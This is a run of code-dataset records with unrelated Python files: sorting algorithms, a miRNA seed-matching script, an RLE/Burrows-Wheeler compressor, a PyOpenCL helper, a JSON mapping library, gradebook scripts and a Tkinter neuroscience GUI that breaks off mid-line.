call_insertion_sort(unsort_list):\n \"\"\"\n Implement Insertion Sort\n - Input:\n + list: list of integer numbers want to sort.\n - Output: Sorted list of integer numbers.\n - Big O Notation:\n + Best case - O(n): List had already sorted\n + Average case - O(n^2)\n + Worst case - O(n^2): List had already sorted in reverse\n \"\"\"\n for index in range(1, len(unsort_list)):\n # Keep value & position of first element of one loop\n current_value = unsort_list[index]\n position = index\n insert(unsort_list, position, current_value)\n\n\ndef insert(unsort_list, position, current_value):\n \"\"\"\n Use to check condition: postion > 0 & element[position - 1] ? current_value\n If satisfy: insert\n \"\"\"\n change = False\n while position > 0 and unsort_list[position - 1] > current_value:\n unsort_list[position] = unsort_list[position - 1]\n change = True\n position -= 1\n unsort_list[position] = current_value\n\n if change:\n print_sort_list(unsort_list)\n\n\ndef call_merge_sort(unsort_list):\n \"\"\"\n Implement Merge Sort\n - Input:\n + list: list of integer numbers want to sort.\n - Output: Sorted list of integer numbers.\n - Big O Notation:\n + Best case - O(nlog(n)): List had already sorted.\n + Average case - O(nlog(n))\n + Worst case - O(nlog(n)): merge sort will have to do\n maximum number of comparisons.\n \"\"\"\n if len(unsort_list) > 1:\n mid = len(unsort_list) // 2\n # Split list to left-list and right-list\n left_list = unsort_list[:mid]\n right_list = unsort_list[mid:]\n\n # Continue to split left-list, right-list more smaller\n call_merge_sort(left_list)\n call_merge_sort(right_list)\n\n merge(unsort_list, left_list, right_list)\n print_sort_list(unsort_list)\n\n\ndef merge(unsort_list, left_list, right_list):\n \"\"\"\n Use to check and merge element to the main-list\n \"\"\"\n # Initial index of left-list, right-list, merge-list\n l_index = 0\n r_index = 0\n m_index = 0\n\n while l_index < len(left_list) and r_index < len(right_list):\n if left_list[l_index] < right_list[r_index]:\n unsort_list[m_index] = left_list[l_index]\n l_index += 1\n else:\n unsort_list[m_index] = right_list[r_index]\n r_index += 1\n m_index += 1\n\n l_index, m_index = sublist_merge(unsort_list, left_list, l_index, m_index)\n r_index, m_index = sublist_merge(unsort_list, right_list, r_index, m_index)\n\n\ndef sublist_merge(unsort_list, sub_list, sub_index, merge_index):\n \"\"\"\n Use to merge the rest of the sub-list\n \"\"\"\n while sub_index < len(sub_list):\n unsort_list[merge_index] = sub_list[sub_index]\n sub_index += 1\n merge_index += 1\n return sub_index, merge_index\n\n\ndef call_quick_sort(unsort_list, first, last):\n \"\"\"\n Implement Quick Sort\n - Input:\n + list: list of integer numbers want to sort.\n + first: Starting index of algorithm.\n + last: Ending index of algorithm.\n - Output: Sorted list of integer numbers.\n - Big O Notation:\n + Best case - O(nlog(n)): partition process always picks\n the middle element as pivot.\n + Average case - O(nlog(n))\n + Worst case - O(n^2): partition process always picks greatest\n or smallest element as pivot\n \"\"\"\n if first < last:\n pivot_index = partition_quick(unsort_list, first, last)\n call_quick_sort(unsort_list, first, pivot_index - 1)\n call_quick_sort(unsort_list, pivot_index + 1, last)\n\n\ndef partition_quick(unsort_list, first, last):\n \"\"\"\n Use to partition list of integer numbers :This function takes last element\n as pivot, places the pivot element\n at its correct position in sorted array, and places all smaller than\n pivot to left of pivot and greater than pivot to right of pivot\n \"\"\"\n pivot = unsort_list[last]\n print(\"P: \", pivot)\n left = first\n right = last - 1\n\n while True:\n left, right = traverse_list_quick(unsort_list, left, right, pivot)\n if left >= right:\n break\n swap_element(unsort_list, left, right)\n left += 1\n right -= 1\n swap_element(unsort_list, left, last)\n\n print_sort_list(unsort_list)\n return left\n\n\ndef traverse_list_quick(unsort_list, left, right, pivot):\n \"\"\"\n Use to check two side of the with the condition below\n \"\"\"\n while left <= right and unsort_list[left] < pivot:\n left += 1\n while right >= left and unsort_list[right] > pivot:\n right -= 1\n return left, right\n\n\ndef print_sort_list(unsort_list):\n \"\"\"\n Print the list after sort in string type\n \"\"\"\n str_num = \" \".join(str(element) for element in unsort_list)\n print(str_num)\n\n\ndef swap_element(unsort_list, index_a, index_b):\n \"\"\"\n Use to swap two elements\n \"\"\"\n unsort_list[index_a], unsort_list[index_b] = \\\n unsort_list[index_b], unsort_list[index_a]\n\n\ndef analysis_process(gui, sort_option, list_of_numbers):\n if gui:\n if len(list_of_numbers) > 15:\n print(\"Size of numbers list have to smaller than 15!\")\n else:\n choose_algorithm(sort_option, list_of_numbers)\n else:\n choose_algorithm(sort_option, list_of_numbers)\n\n\ndef choose_algorithm(option, numbers):\n \"\"\"\n Use to setup option for the program\n \"\"\"\n if option == \"bubble\":\n call_bubble_sort(numbers)\n elif option == \"insert\":\n call_insertion_sort(numbers)\n elif option == \"merge\":\n call_merge_sort(numbers)\n elif option == \"quick\":\n call_quick_sort(numbers, 0, len(numbers) - 1)\n\n\ndef create_parse():\n \"\"\"\n Function use to create parse of argument\n \"\"\"\n parse = argparse.ArgumentParser()\n parse.add_argument(\n \"N\", help=\"an integer for the list to sort\",\n nargs=\"+\", type=int)\n parse.add_argument(\n \"--algo\", default=\"bubble\",\n help=\"\"\"specify which algorithm to use for sorting\n among [bubble|insert|quick|merge], default bubble\"\"\")\n parse.add_argument(\n \"--gui\", action=\"store_true\",\n help=\"visualise the algorithm in GUI mode\")\n return parse\n\n\ndef main():\n \"\"\"\n Main function: Use to implement argument parse\n \"\"\"\n parse = create_parse()\n arg = parse.parse_args()\n list_of_numbers = arg.N\n sort_option = arg.algo\n gui = arg.gui\n analysis_process(gui, sort_option, list_of_numbers)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"sorting_deck.py","file_name":"sorting_deck.py","file_ext":"py","file_size_in_byte":7891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"140469118","text":"#!/usr/bin/env python\n#$ -S $HOME/.pyenv/shims/python\n#$ -l debug\n#$ -cwd\nimport pandas as pd\n\ndef get_seq(chromosome,start,end,strand,window):\n test_data = open(\"/home/shom-research/research/m6A/{}.txt\".format(chromosome), \"r\")\n sequence=test_data.read()\n target_seq=sequence[start-window:end+window]\n target_seq=bigletter(target_seq)\n if(strand==\"-\"):\n target_seq=convert(target_seq)\n return target_seq\n\ndef bigletter(seq):\n new_seq=\"\"\n for i in seq:\n if(i==\"a\"):\n new_seq+=\"A\"\n elif(i==\"g\"):\n new_seq+=\"G\"\n elif(i==\"c\"):\n new_seq+=\"C\"\n elif(i==\"t\"):\n new_seq+=\"T\"\n else:\n new_seq+=i\n return new_seq\n\ndef convert(sequence):\n \n i=len(sequence)-1\n convert_seq=\"\"\n while(i>=0):\n letter=sequence[i]\n if(letter==\"A\"):\n convert_seq+=\"T\"\n elif(letter==\"T\"):\n convert_seq+=\"A\"\n elif(letter==\"G\"):\n convert_seq+=\"C\"\n elif(letter==\"C\"):\n convert_seq+=\"G\"\n else:\n print(\"ERROR\")\n i-=1\n \n \n return convert_seq\n\ndef for_miRNA(seq):\n new_seq=\"\"\n for i in seq:\n if(i==\"A\"):\n new_seq+=\"U\"\n elif(i==\"T\"):\n new_seq+=\"A\"\n elif(i==\"G\"):\n new_seq+=\"C\"\n elif(i==\"C\"):\n new_seq+=\"G\"\n new_seq=new_seq[::-1]\n return new_seq\n\ndef miRNA_combine(sequence,miRNA):\n seed=miRNA[1:8]\n location=[]\n for i in range(0,len(sequence)-len(seed)+1):\n candidate=for_miRNA(sequence[i:i+7])\n \n if(seed==candidate):\n #print(sequence,candidate,seed)\n over=float(i)+len(seed)\n under=float(len(sequence))\n print(over,under)\n loc=over/under\n location.append(loc)\n \n\n return location\n\n\n\ndef calculate(ythdf1_list,miRNA):\n \n\n window=0\n while(window<=500):\n count_list=[]\n for i in range(len(ythdf1_list)):\n if(i%1000==0):\n print(i,len(ythdf1_list))\n row=ythdf1_list.iloc[i]\n chromosome=row.Chromosome.lower()\n if (\"m\" in chromosome):\n chromosome=chromosome.replace(\"m\",\"M\")\n elif (\"x\" in chromosome):\n chromosome=chromosome.replace(\"x\",\"X\")\n elif (\"y\" in chromosome):\n chromosome=chromosome.replace(\"y\",\"Y\")\n start=int(row.Start)\n end=int(row.End)\n strand=row.Strand\n gene=row.Gene_symbol\n sequence=get_seq(chromosome,start,end,strand,window)\n\n miRNA_bind_list=miRNA_combine(sequence,miRNA)\n \n if (len(miRNA_bind_list)!=0):\n for k in miRNA_bind_list:\n print(miRNA_bind_list)\n count_list.append([gene,chromosome,start,end,strand,k])\n #print(gene,chromosome,start,end,strand,sequence,k)\n\n \n count_list=pd.DataFrame(count_list,columns=[\"Gene_symbol\",\"Chromosome\",\"Start\",\"End\",\"Strand\",\"location\"])\n count_list.to_csv(\"/home/shom-research/research/m6A/miRNA1_{}overlap_count.csv\".format(window),index=False)\n window+=25\n\ndef main():\n rep1_ythdf1_list=pd.read_csv(\"/home/shom-research/research/m6A/PARCLIP_1.csv\")\n rep2_ythdf1_list=pd.read_csv(\"/home/shom-research/research/m6A/PARCLIP_2.csv\")\n ythdf1_list=rep1_ythdf1_list.append(rep2_ythdf1_list)\n\n miRNA155=\"UUAAUGCUAAUCGUGAUAGGGGUU\"\n miRNA1=\"UGGAAUGUAAAGAAGUAUGUAU\"\n\n calculate(ythdf1_list,miRNA1)\n #calculate(ythdf1_list,miRNA155)\n\n\nmain()","sub_path":"Research/8_8_target_region_overlap_miRNA1.py","file_name":"8_8_target_region_overlap_miRNA1.py","file_ext":"py","file_size_in_byte":3636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"163206613","text":"def burro(image):\r\n iter = []\r\n\r\n image.append(-1)\r\n\r\n for i in range(len(image)):\r\n iter_int = [image[-1]] + image[:-1]\r\n iter.append(iter_int)\r\n image = iter_int \r\n\r\n answer = []\r\n\r\n iter.sort()\r\n for inter_int in iter:\r\n answer.append(inter_int[-1])\r\n\r\n\r\n return answer\r\n\r\ndef rle(b, dim = None):\r\n n = len(b)\r\n res = []\r\n i = 0\r\n if (dim != None):\r\n res.append(str(dim) + \".\")\r\n while (i < n):\r\n res.append(str(b[i])+\",\")\r\n count = 1\r\n while(i < n-1 and b[i] == b[i + 1]):\r\n count = count + 1 \r\n i = i + 1\r\n res.append(str(count)+\",\")\r\n i = i +1\r\n\r\n return \"\".join(res)[:-1]\r\n\r\ndef inverseRle(string):\r\n res = []\r\n lista = string.split(\",\")\r\n n = len(lista)\r\n i = 0\r\n while(i < n -1):\r\n res = res + [int(float(lista[i]))]*int(lista[i+1])\r\n i = i + 2\r\n return res\r\n\r\n\r\n\r\ndef lossless(image): #c\r\n\r\n ans = [] #c\r\n for col in image: #n\r\n col = burro(col) #n*m**2 * logm\r\n col = rle(col) #n*m\r\n ans += [col] #n\r\n\r\n return str(ans) #c\r\n#Luego la complejidad de lossless es n* m**2 * logm, con n el numero de filas y m el numero de columnas\r\ndef dicompress(image): #c\r\n\r\n ans = [] #c\r\n\r\n while(len(ciclo) < len(B)):\r\n \r\n #Encontrar el index de actual en fin\r\n indexActualFin = actual[1]\r\n\r\n #Encontrar el caracter anterior \r\n anterior = inicio[indexActualFin]\r\n #print(\"anterior es \", anterior)\r\n\r\n #Agregar anterior a respuesta sin index\r\n ciclo.append(anterior[0])\r\n #print(\"ciclo es \", ciclo)\r\n\r\n #definir anterior como actual\r\n actual = anterior\r\n #print(\"actual es \", actual)\r\n\r\n return ciclo[1:]\r\n\r\ndef lossless(image):\r\n\r\n ans = []\r\n for col in image:\r\n col = burro(col)\r\n col = rle(col)\r\n ans += [col]\r\n\r\n return ans\r\n\r\ndef dicompress(image):\r\n\r\n ans = []\r\n\r\n for col in image:\r\n col = inverseRle(col)\r\n col = antiBurro(col)\r\n ans.append(col)\r\n \r\n return ans\r\n\r\n \r\n \r\n\"\"\"\r\n __\r\n___( o)>\r\n\\ <_. )\r\n `---' hey o/. Im just another dock. Take a breath, my brave ingenier \r\n\r\n\"\"\"\r\n","sub_path":"proyecto/codigo/lossless.py","file_name":"lossless.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"631946619","text":"from pathlib import Path\nfrom typing import Dict, Tuple, List\nimport itertools\nimport pyopencl as cl\n\nfrom herding.opencl.buffer import Buffer\nfrom herding.opencl.module import Module\n\n\nclass OpenCL:\n\n def __init__(self, env_data, definitions: Dict[str, int]):\n device = _get_device(env_data)\n self.context = cl.Context([device])\n self.queue = cl.CommandQueue(self.context)\n self.project_root = _get_project_root_path()\n self.options = _convert_definitions(definitions)\n self.options.append('-I ' + self.project_root)\n self.max_work_group_size = device.get_info(cl.device_info.MAX_WORK_GROUP_SIZE)\n\n def create_buffer(self, shape: Tuple, dtype) -> Buffer:\n return Buffer(self.queue, self.context, shape, dtype)\n\n def create_module(self, file: str, function: str, args: List[Buffer]) -> Module:\n with open(self.project_root + file, 'r') as f:\n source = f.read()\n\n prg = cl.Program(self.context, source).build(\n options=self.options\n )\n buffers = [arg.buffer for arg in args]\n\n return Module(self.queue, prg, function, buffers)\n\n def get_max_work_group_size(self):\n return self.max_work_group_size\n\n\ndef _get_project_root_path():\n file_path = Path(__file__)\n # assume current file path is herding/opencl/opencl.py\n root_path = file_path.parent.parent.parent\n return str(root_path) + '/'\n\n\ndef _convert_definitions(definitions):\n options = ['-D ' + name.upper() + '=' + str(value) for name, value in definitions.items()]\n\n return options\n\n\ndef _get_device(env_data) -> cl.Device:\n device = None\n platforms = cl.get_platforms()\n\n if env_data.config.device == 'gpu':\n device = next(itertools.chain(*[p.get_devices(cl.device_type.GPU) for p in platforms]), None)\n\n if device is None:\n device = next(itertools.chain(*[p.get_devices(cl.device_type.CPU) for p in platforms]), None)\n\n return device\n","sub_path":"herding/opencl/opencl.py","file_name":"opencl.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"355258333","text":"\"\"\"\nCopyright 2014 John Vrbanac\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport json\nimport six\nfrom abc import ABCMeta, abstractmethod\n\nfrom alchemize.mapping import JsonMappedModel\n\n\nNON_CONVERSION_TYPES = [\n bool,\n dict,\n float,\n int,\n list,\n type(None),\n str,\n six.integer_types,\n six.string_types\n]\n\n\nclass UnsupportedMappedModelError(Exception):\n \"\"\"Exception that is raised when attempting to transmute a model that\n is not supported by the specified transmuter.\n \"\"\"\n pass\n\n\nclass AbstractBaseTransmuter(object):\n \"\"\"The abtract base class from which all Transmuters are built.\"\"\"\n __metaclass__ = ABCMeta\n __supported_base_mappings__ = []\n\n @classmethod\n def _check_supported_mapping(cls, mapped_model, ignore_failure=False):\n \"\"\"Checks the passed mapped model type if it's compatible with the\n specified support base mappings.\n \"\"\"\n if not isinstance(mapped_model, type):\n return False\n\n results = [issubclass(mapped_model, map_type)\n for map_type in cls.__supported_base_mappings__]\n\n if not ignore_failure and False in results:\n raise UnsupportedMappedModelError()\n\n return False not in results\n\n @classmethod\n @abstractmethod\n def transmute_to(cls, mapped_model):\n \"\"\"Generic Abstract Base Method to convert to serialized form\n\n :param mapped_model: An instance of a class based from BaseMappedModel.\n :returns: A serialized or serializable form of your mapped model.\n \"\"\"\n cls._check_supported_mapping(mapped_model)\n\n @classmethod\n @abstractmethod\n def transmute_from(cls, data, mapped_model_type):\n \"\"\"Generic Abstract Base Method to deserialize into a Python object\n\n :param mapped_model_type: A type that extends BaseMappedModel.\n :returns: The an instance of the passed in mapped model type\n containing the deserialized data.\n \"\"\"\n cls._check_supported_mapping(mapped_model_type)\n\n @classmethod\n def is_list_of_mapping_types(cls, attr_type):\n if isinstance(attr_type, list) and len(attr_type) == 1:\n if cls._check_supported_mapping(attr_type[0]):\n return True\n return False\n\n\nclass JsonTransmuter(AbstractBaseTransmuter):\n __supported_base_mappings__ = [JsonMappedModel]\n\n @classmethod\n def transmute_to(cls, mapped_model, to_string=True, assign_all=False,\n coerce_values=True):\n \"\"\"Converts a model based off of a JsonMappedModel into JSON.\n\n :param mapped_model: An instance of a subclass of JsonMappedModel.\n :param to_string: Boolean value to disable the return of a string\n and return a dictionary instead.\n :param assign_all: Boolean value to force assignment of all values,\n including null values.\n :param coerce_values: Boolean value to allow for values with python\n types to be coerced with their mapped type.\n :returns: A string or dictionary containing the JSON form of your\n mapped model.\n \"\"\"\n super(JsonTransmuter, cls).transmute_to(mapped_model)\n result = {}\n\n for json_key, map_list in mapped_model.__get_full_mapping__().items():\n attr_name, attr_type = map_list[0], map_list[1]\n attr_value = None\n\n if hasattr(mapped_model, attr_name):\n current_value = getattr(mapped_model, attr_name)\n # Convert a single mapped object\n if cls._check_supported_mapping(attr_type, True):\n attr_value = cls.transmute_to(current_value, False)\n\n # Converts lists of mapped objects\n elif (cls.is_list_of_mapping_types(attr_type)\n and isinstance(current_value, list)):\n attr_value = [cls.transmute_to(child, False)\n for child in current_value]\n\n # Converts all other objects (if possible)\n elif attr_type in NON_CONVERSION_TYPES:\n attr_value = current_value\n\n if coerce_values:\n attr_value = attr_type(attr_value)\n\n if assign_all or attr_value is not None:\n result[json_key] = attr_value\n\n return json.dumps(result) if to_string else result\n\n @classmethod\n def transmute_from(cls, data, mapped_model_type):\n \"\"\"Converts a JSON string or dict into a corresponding Mapping Object.\n\n :param data: JSON data in string or dictionary form.\n :param mapped_model_type: A type that extends the JsonMappedModel base.\n :returns: An instance of your mapped model type.\n \"\"\"\n super(JsonTransmuter, cls).transmute_from(data, mapped_model_type)\n\n json_dict = data\n if isinstance(data, six.string_types):\n json_dict = json.loads(data)\n\n mapped_obj = mapped_model_type()\n for key, val in json_dict.items():\n map_list = mapped_model_type.__get_full_mapping__().get(key)\n if map_list and len(map_list) == 2:\n attr_name, attr_type = map_list[0], map_list[1]\n\n attr_value = None\n\n # Convert a single mapped object\n if cls._check_supported_mapping(attr_type, True):\n attr_value = cls.transmute_from(val, attr_type)\n\n # Converts lists of mapped objects\n elif (cls.is_list_of_mapping_types(attr_type)\n and isinstance(val, list)):\n attr_value = [cls.transmute_from(child, attr_type[0])\n for child in val]\n\n # Converts all other objects (if possible)\n elif attr_type in NON_CONVERSION_TYPES:\n attr_value = val\n\n # Add mapped value to the new mapped_obj is possible\n setattr(mapped_obj, attr_name, attr_value)\n\n return mapped_obj\n","sub_path":"alchemize/transmute.py","file_name":"transmute.py","file_ext":"py","file_size_in_byte":6549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"288240146","text":"\"\"\"\ntest_clickers.py\nmake a new column in a gradebook\n\ncd /Users/phil/Nextcloud/e340_coursework/e340_2018_spring/Exams/2018_Spring_Midterm_2_grades/raw_grades\n\npython $ec/test_reader.py file_names.json day22_quiz_results.csv -c q 22\n\"\"\"\nimport context\nimport subprocess\nimport shutil\nimport os\nimport argparse\nimport pandas as pd\nimport json\nimport pdb\nimport csv\nimport re\nfrom e340py.utils import make_tuple\nimport numpy as np\nfrom collections import defaultdict\nfrom dateutil.parser import parse\nfrom e340py.utils import clean_id, stringify_column\nfrom pathlib import Path\nimport re\n\n#Session 1 Performance 1/18/18\nperf_re = re.compile('.*Session\\s(\\d+)\\sPerformance\\s(\\d+/\\d+/\\d+).*')\n#Session 1 Participation 1/18/18\npart_re = re.compile('.*Session\\s(\\d+)\\sParticipation\\s(\\d+/\\d+/\\d+).*')\n\n\ndef make_parser():\n linebreaks = argparse.RawTextHelpFormatter\n descrip = __doc__.lstrip()\n parser = argparse.ArgumentParser(formatter_class=linebreaks,\n description=descrip)\n parser.add_argument('json_file',type=str,help='input json file with filenames')\n return parser \n\ndef main(the_args=None):\n \n parser=make_parser()\n args=parser.parse_args(the_args)\n\n with open(args.json_file,'r') as f:\n name_dict=json.load(f)\n n=make_tuple(name_dict)\n home_dir= Path(os.environ['HOME'])\n clickers = home_dir / Path(n.data_dir)/ Path(n.pha_clickers)\n with open(clickers,'r',encoding='utf-8-sig') as f:\n df_clickers=pd.read_csv(f,sep=',')\n df_clickers.fillna(0.,inplace=True)\n df_clickers = clean_id(df_clickers, id_col = 'Student')\n\n fsc_list = home_dir / Path(n.data_dir)/ Path(n.fsc_list)\n with open(fsc_list,'rb') as f:\n df_fsc=pd.read_excel(f)\n df_fsc.fillna(0.,inplace=True)\n #pdb.set_trace()\n df_fsc = clean_id(df_fsc, id_col = 'Student Number')\n \n grade_book = home_dir / Path(n.data_dir)/ Path(n.grade_book)\n with open(grade_book,'r',encoding='utf-8-sig') as f:\n df_gradebook = pd.read_csv(f,sep=',')\n df_gradebook = clean_id(df_gradebook,id_col='SIS User ID')\n df_gradebook.fillna(0.,inplace=True)\n\n #-------\n # make a dictinoary with dict[clicker_id]=sis_id\n #-------\n id_dict={}\n for sis_id,item in df_gradebook.iterrows():\n key = f\"{int(item['ID']):d}\"\n id_dict[key] = sis_id\n \n sis_col=[]\n fake_id_counter = 97 #this is 'a'\n for clicker_id in df_clickers.index:\n try:\n sis_col.append(id_dict[clicker_id])\n except KeyError: #student not in gradebook\n sis_id = chr(fake_id_counter)*8\n sis_col.append(sis_id)\n fake_id_counter += 1\n df_clickers['SIS User ID'] = sis_col\n df_clickers = df_clickers.set_index('SIS User ID',drop=False)\n col_dict={}\n regexs=[part_re, perf_re]\n names = ['part','perf']\n for col in df_clickers.columns:\n for the_name, re_exp in zip(names,regexs):\n the_match=re_exp.match(col)\n if the_match:\n the_sess, the_date = the_match.groups()\n print(f'match: {col}, {the_sess}, {the_date}')\n date=parse(the_date,dayfirst=False)\n vals=df_clickers[col].values\n num_vals=[]\n for item in vals:\n try:\n num_vals.append(float(item))\n except:\n num_vals.append(0)\n col_dict[(the_name,the_sess)]=dict(col=col,date=the_date,vals=num_vals)\n scores = df_clickers.iloc[:,5:-2].values\n cumscore=np.sum(scores,axis=1)\n df_clickers['clicker_score']=cumscore\n only_scores=df_clickers[['clicker_score']]\n mergebook=pd.merge(df_gradebook,only_scores,how='left',left_index=True,right_index=True,sort=False)\n return mergebook,df_fsc\n\n\nif __name__ == \"__main__\":\n mergebook, df_fsc=main()\n mid_re = re.compile('.*Midterm\\s(\\d)\\s-\\sIndividual')\n mid_dict={}\n for item in mergebook.columns:\n mid_match = mid_re.match(item)\n if mid_match:\n mid_num=mid_match.group(1)\n key=f'mid_{mid_num}'\n mid_dict[key]=item\n avg_mid = (mergebook[mid_dict['mid_1']] + mergebook[mid_dict['mid_2']])/2.\n mergebook['avg_mid'] = avg_mid\n cols = ['Student',mid_dict['mid_1'],mid_dict['mid_2'],'avg_mid','clicker_score']\n df_results=pd.DataFrame(mergebook[cols])\n hit = df_results['clicker_score'] == 0.\n df_missing = pd.DataFrame(df_results.loc[hit,:])\n df_missing.sort_values(mid_dict['mid_2'],axis=0,inplace=True)\n df_names = df_fsc[['Surname','Given Name']]\n df_missing=pd.merge(df_missing,df_names,how='left',left_index=True,right_index=True,sort=False)\n df_missing.sort_values('Surname',inplace=True)\n pdb.set_trace()\n \n \n \n \n\n \n\n","sub_path":"tests/test_mids.py","file_name":"test_mids.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"641052135","text":"a = list(map(int, input().split()))\nn, m, k = a[0], a[1], a[2]\n\n\nresult = n*m\ntrack = {}\n\nfor _ in range(k):\n c = list(map(int, input().split()))\n r, c1, c2 = c[0], c[1], c[2]\n if r in track:\n track[r].append((c1, c2)) \n else:\n track[r] = [(c1, c2)]\n\nfor i in track:\n s = track[i]\n s.sort()\n first = s[0][0]\n last = s[0][1]\n for k in range(1, len(s)):\n if s[k][0] > last:\n result-=(last-first+1)\n first = s[k][0]\n last = s[k][1]\n else:\n last = max(last, s[k][1])\n result-=(last-first+1)\n\nprint(result)\n\n\n","sub_path":"Medium Problems/Grinland Metro.py","file_name":"Grinland Metro.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"500267505","text":"#!/usr/bin/python\n#/home/vnormand/Documents/PhD/Data/2018-05-07/\n\n\n## Import section ##\nfrom tkinter import *\nfrom pathlib import Path\nimport csv\nimport sys\n#from pandas import DataFrame\nimport pandas as pd\nimport pdb\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport collections\nfrom scipy.ndimage import gaussian_filter1d\nimport scipy.cluster.hierarchy as hcluster\nfrom scipy.optimize import curve_fit\nfrom scipy.stats import pearsonr\nimport scipy.signal\nimport seaborn as sns\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Local functions.\nsys.path.append('./Helpers/')\nsys.path.append('./Stats/')\nfrom function_find_nearest import find_nearest\nfrom function_hd_tuning import hd_tuning_curve\nfrom function_rate_map import ratemap\nfrom function_spatial_autocorr import spatial_autocorr\nfrom function_vector_length import tuning_curve_stats\nfrom function_gridscore import calculate_gridscore\nfrom function_fields_detection import fields_detection\nfrom function_peak_detection import peak_detection\nfrom function_isi import calc_ISI\nfrom function_grid_properties import grid_properties\nfrom function_export_stats import export_stats\nfrom function_neurologger import import_neurologger\nfrom function_load_raw import load_raw\nfrom function_filters import butter_lowpass_filter\n\n################################################################################\n## Main gui ##\ngui = Tk()\ngui.geometry('1300x1000')\ngui.title('Grid explorer')\n\n## INIT ##\n\n\n################################################################################\n## Data folder ##\n#data_folder_text = Label(gui, text=\"Path to data folder:\")\n#data_folder_text.place(bordermode=OUTSIDE, height=40, width=150, x=10, y=10)\ndata_folder_entry = Entry(gui, bd=5)\ndata_folder_entry.pack\ndata_folder_entry.place(bordermode=OUTSIDE, height=40, width=200, x=170, y=10)\n\n## Box size entry ##\n# Keyboard input for box size.\nbox_size_text = Label(gui, text=\"Box size (cm):\")\nbox_size_text.place(bordermode=OUTSIDE, height=40, width=100, x=500, y=10)\nbox_size_entry = Entry(gui, bd=5)\nbox_size_entry.pack\nbox_size_entry.place(bordermode=OUTSIDE, height=40, width=80, x=600, y=10)\n\n## Bin size entry ##\n# Keyboard input for bin size.\nbin_size_text = Label(gui, text=\"Bin size (cm):\")\nbin_size_text.place(bordermode=OUTSIDE, height=40, width=100, x=700, y=10)\nbin_size_entry = Entry(gui, bd=5)\nbin_size_entry.pack\nbin_size_entry.place(bordermode=OUTSIDE, height=40, width=80, x=800, y=10)\n\n## Sessions cutting ##\ncutting_text = Label(gui, text=\"Enter timestamps:\")\ncutting_text.place(bordermode=OUTSIDE, height=40, width=120, x=900, y=10)\ncutting_entry = Entry(gui, bd=5)\ncutting_entry.pack\ncutting_entry.place(bordermode=OUTSIDE, height=40, width=150, x=1030, y=10)\n\n## Clusters list-box ##\nclusters_listbox_text = Label(gui, text=\"Clusters:\")\nclusters_listbox_text.place(bordermode=OUTSIDE, height=40, width=80, x=10, y=150)\nclusters_listbox = Listbox(gui, exportselection=0)\nclusters_listbox.pack()\nclusters_listbox.place(bordermode=OUTSIDE, height=200, width=100, x=10, y=180)\n\n## Sessions list-box ##\nsessions_listbox_text = Label(gui, text=\"Sessions:\")\nsessions_listbox_text.place(bordermode=OUTSIDE, height=40, width=80, x=110, y=150)\nsessions_listbox = Listbox(gui, selectmode=MULTIPLE, exportselection=0)\nsessions_listbox.pack()\nsessions_listbox.place(bordermode=OUTSIDE, height=100, width=100, x=110, y=180)\n\n## Data type ##\ndata_type_text = Label(gui, text=\"Data type:\")\ndata_type_text.place(bordermode=OUTSIDE, height=40, width=100, x=10, y=10)\ndata_type_entry = Entry(gui, bd=5)\ndata_type_entry.pack()\ndata_type_entry.place(bordermode=OUTSIDE, height=40, width=50, x=100, y=10)\n\nsampling_text = Label(gui, text=\"Sampling rate:\")\nsampling_text.place(bordermode=OUTSIDE, height=40, width=120, x=900, y=50)\nsampling_entry = Entry(gui, bd=5)\nsampling_entry.pack\nsampling_entry.place(bordermode=OUTSIDE, height=40, width=150, x=1030, y=50)\n\n## Loading data ##\ndef loading_callBack():\n print('##########')\n\n global sampling_rate\n sampling_rate_entry = sampling_entry.get()\n if not sampling_rate_entry:\n sampling_rate = 30000\n else:\n sampling_rate = int(sampling_rate_entry)\n print('Sampling rate sets at ' + str(sampling_rate))\n\n entry = data_folder_entry.get()\n print('Looking for cluster_group.tsv...')\n data_type = data_type_entry.get()\n if int(data_type) == 0:\n file_to_load = Path(entry + '/cluster_group.tsv')\n elif int(data_type) == 1:\n file_to_load = Path(entry + '/cluster_groups.csv')\n if file_to_load:\n print('The file exists.')\n\n # Loading .tsv file.\n df = pd.read_csv(file_to_load, sep=\"\\t\", header=0)\n groups = df['group'].tolist()\n id = df['cluster_id'].tolist()\n\n # Identifying good clusters.\n good_clusters = [];\n for cluster in range(0, len(groups)):\n if groups[cluster] == 'good':\n good_clusters.append(id[cluster])\n print('A total of ' + str(len(good_clusters)) + ' clusters were found.')\n\n # Probe object.\n global probe\n class probe(object):\n def __init__(self, spikes, spikes_id, clips, clips_id, clusters_all, clusters_list, pos_x, pos_y, pos_hd, pos_time, amplitude):\n self.spikes = spikes\n self.spikes_id = spikes_id\n self.clips = clips\n self.clips_id = clips_id\n self.clusters_all = clusters_all\n self.clusters_list = clusters_list\n self.pos_x = pos_x\n self.pos_y = pos_y\n self.pos_hd = pos_hd\n self.pos_time = pos_time\n self.amplitude = amplitude\n\n # Checking data type.\n data_type = data_type_entry.get()\n if int(data_type) == 0:\n # Paths.\n path_spikes = Path(entry + '/spike_times.npy')\n path_id = Path(entry + '/spike_clusters.npy')\n path_clips = Path(entry + 